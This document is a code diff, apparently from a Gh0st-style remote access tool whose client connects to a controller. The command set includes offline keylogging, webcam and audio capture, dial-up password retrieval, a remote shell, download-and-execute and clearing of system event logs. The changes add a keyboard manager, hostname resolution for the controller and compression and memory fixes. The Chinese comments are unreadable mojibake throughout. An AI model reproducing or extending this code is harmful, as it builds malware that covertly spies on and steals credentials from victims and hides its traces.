|
||||
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||
|
||||
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||
COMMAND_SHELL, // cmdshell
|
||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
|
||||
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE
|
||||
};
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
typedef struct _THREAD_ARG_LIST
|
||||
{
|
||||
@@ -130,12 +11,12 @@ typedef struct _THREAD_ARG_LIST
|
||||
HANDLE hEvent;
|
||||
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||
|
||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
|
||||
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
|
||||
LPVOID lParam, //char* strHost IP
|
||||
DWORD dwCreationFlags, //0 4
|
||||
LPDWORD ThreadId, bool bInteractive=FALSE);
|
||||
typedef struct UserParam
|
||||
{
|
||||
BYTE* buffer;
|
||||
int length;
|
||||
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
|
||||
}UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
|
||||
@@ -149,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
|
||||
@@ -9,6 +9,10 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
|
||||
class CCursorInfo
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
EXPORTS
|
||||
TestRun
|
||||
StopRun
|
||||
Run
|
||||
|
||||
@@ -14,7 +14,7 @@ typedef struct
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
|
||||
{
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
|
||||
m_UploadList.clear();
|
||||
}
|
||||
|
||||
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
@@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList()
|
||||
|
||||
unsigned __int64 HDAmount = 0;
|
||||
unsigned __int64 HDFreeSpace = 0;
|
||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||
@@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList()
|
||||
memset(FileSystem, 0, sizeof(FileSystem));
|
||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||
SHFILEINFO sfi;
|
||||
SHFILEINFO sfi = {};
|
||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||
|
||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||
@@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
|
||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||
if (lpList==NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||
hFile = FindFirstFile(strPath, &FindFileData);
|
||||
@@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
{
|
||||
nBufferSize += MAX_PATH * 2;
|
||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (lpList == NULL)
|
||||
continue;
|
||||
}
|
||||
pszFileName = FindFileData.cFileName;
|
||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||
@@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||
if (bPacket==NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
memset(bPacket, 0, nPacketSize);
|
||||
|
||||
bPacket[0] = TOKEN_FILE_SIZE;
|
||||
@@ -442,7 +452,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
|
||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
{
|
||||
UINT nRet;
|
||||
UINT nRet = 0;
|
||||
FILESIZE *pFileSize;
|
||||
char *lpFileName;
|
||||
|
||||
@@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
DWORD nNumberOfBytesRead = 0;
|
||||
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||
if (lpPacket == NULL)
|
||||
return -1;
|
||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpPacket[0] = TOKEN_FILE_DATA;
|
||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||
@@ -514,7 +526,6 @@ int CFileManager::SendToken(BYTE bToken)
|
||||
|
||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
{
|
||||
|
||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||||
{
|
||||
FixedUploadList((char *)lpBuffer);
|
||||
@@ -638,7 +649,7 @@ void CFileManager::GetFileData()
|
||||
|
||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||
BYTE bToken[9];
|
||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
memset(bToken, 0, sizeof(bToken));
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
|
||||
|
||||
@@ -28,9 +28,9 @@ typedef struct
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#if USING_ZLIB
|
||||
#include "zlib.h"
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
@@ -19,13 +19,23 @@
|
||||
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL 5
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#include <assert.h>
|
||||
#include "Manager.h"
|
||||
|
||||
@@ -59,6 +69,11 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
#endif
|
||||
}
|
||||
|
||||
IOCPClient::~IOCPClient()
|
||||
@@ -85,9 +100,27 @@ IOCPClient::~IOCPClient()
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
ZSTD_freeDCtx(m_Dctx);
|
||||
#endif
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||
inline string GetIPAddress(const char *hostName)
|
||||
{
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
#endif
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -100,7 +133,10 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
{
|
||||
@@ -127,10 +163,10 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
if (m_hWorkThread == NULL){
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
}
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||
m_bConnected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -138,7 +174,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char szBuffer[MAX_RECV_BUFFER] = {0};
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
const struct timeval tm = { 2, 0 };
|
||||
|
||||
@@ -157,7 +193,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
if (iRet == 0) Sleep(50);
|
||||
else
|
||||
{
|
||||
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
@@ -165,9 +201,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
else if (iRet > 0)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(szBuffer));
|
||||
int iReceivedLength = recv(This->m_sClientSocket,
|
||||
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memset(szBuffer, 0, MAX_RECV_BUFFER);
|
||||
int iReceivedLength = recv(This->m_sClientSocket,
|
||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = GetLastError();
|
||||
@@ -177,12 +213,12 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}else{
|
||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||
if (This->m_Manager->m_bIsDead)
|
||||
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||
{
|
||||
printf("****** Recv bye bye ******\n");
|
||||
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern bool g_bExit;
|
||||
g_bExit = true;
|
||||
Mprintf("****** Recv bye bye ******\n");
|
||||
// <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˺<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ضˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = This->m_Manager->m_bIsDead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -190,6 +226,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
|
||||
return 0xDEAD;
|
||||
}
|
||||
@@ -201,14 +238,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
assert (ulLength > 0);
|
||||
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
CBuffer m_CompressedBuffer;
|
||||
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||
{
|
||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
||||
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
||||
LPBYTE src = m_CompressedBuffer.GetBuffer();
|
||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||
{
|
||||
